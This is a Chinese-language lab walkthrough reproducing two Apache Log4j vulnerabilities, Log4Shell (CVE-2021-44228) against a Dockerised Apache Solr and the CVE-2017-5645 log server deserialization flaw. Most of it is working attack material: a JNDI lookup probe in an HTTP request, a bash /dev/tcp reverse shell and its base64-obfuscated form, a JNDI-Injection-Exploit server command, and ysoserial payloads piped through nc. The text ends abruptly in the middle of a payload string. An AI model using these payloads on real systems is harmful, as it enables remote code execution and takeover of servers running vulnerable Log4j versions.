一、Log4j
1.1 Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
Apache Log4j2
是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}
的lookup用于进行JNDI注入,执行任意代码。
Apache Log4j2
不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr
。使用dokcer启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1。
判断是否存在漏洞
发送数据包:
GET /solr/admin/cores?action=${
jndi:ldap://4paxg6.dnslog.cn} HTTP/1.1
Host: 192.168.92.6:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
获取反弹shell
bash -i >& /dev/tcp/192.168.92.6/4444 0>&1 # 反弹shell命令
bash -c {
echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNDQ0NCAwPiYx}|{
base64,-d}|{
bash,-i} # 防止管道符失效
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A "10.111.X.X" # -A表示远程服务器的地址
- JDNI注入的原理:被害主机远程请求搭建了LDAP、rmi服务的远程主机,为了远程加载类。一旦被害主机请求,就会在自己系统上执行反弹shell的命令。
- 10.111.X.X:本机IP;
- 192.168.92.6:kali IP。
所有链接均可实现JDNI注入,获取shell。
访问http://192.168.92.6:8983/solr/admin/cores?action=${jndi:rmi://10.111.11.119:1099/mrkfu0}
1.2 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)
Apache Log4j
是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。
使用ysoserial生成payload,然后直接发送给192.168.92.6:4712
端口即可。
java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.92.6 4712
docker exec -it <container-id> /bin/bash # 进入shell
反弹shell
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3Rjc